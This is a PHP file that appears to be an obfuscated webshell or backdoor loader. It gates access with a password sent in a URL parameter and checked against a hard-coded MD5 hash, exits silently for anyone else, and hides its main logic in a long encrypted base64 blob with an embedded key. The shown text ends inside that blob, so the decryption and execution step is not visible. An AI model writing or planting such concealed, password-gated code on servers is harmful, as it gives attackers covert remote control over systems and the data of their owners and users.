<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
$encryptionKey = 'hlj8_secret_key';

function secure_string_compare($a, $b) {
    $diff = strlen($a) ^ strlen($b);
    for ($i = 0; $i < strlen($a) && $i < strlen($b); $i++) {
        $diff |= ord($a[$i]) ^ ord($b[$i]);
    }
    return $diff === 0;
}

if (isset($_GET['pwd']) && !empty($_GET['pwd'])) {
    $providedPassword = $_GET['pwd'];
    
    if (secure_string_compare(md5($providedPassword), "6c6f08242876273fe9c342612664a078")) {
        // Store password in both session and cookie
        $_SESSION['hashedHLJPassword'] = $providedPassword;
        setcookie('hashedHLJPassword', $providedPassword, time() + 3600, '/');
    }
}

$authenticated = false;

if (isset($_SESSION['hashedHLJPassword']) && !empty($_SESSION['hashedHLJPassword'])) {
    $authenticated = secure_string_compare(md5($_SESSION['hashedHLJPassword']), "6c6f08242876273fe9c342612664a078");
} elseif (isset($_COOKIE['hashedHLJPassword']) && !empty($_COOKIE['hashedHLJPassword'])) {
    $authenticated = secure_string_compare(md5($_COOKIE['hashedHLJPassword']), "6c6f08242876273fe9c342612664a078");
}

if ($authenticated) {
    displayWelcomeMessage($encryptionKey);
}
else {
	exit;
}




function displayWelcomeMessage($encryptionKey){


$encryptLix='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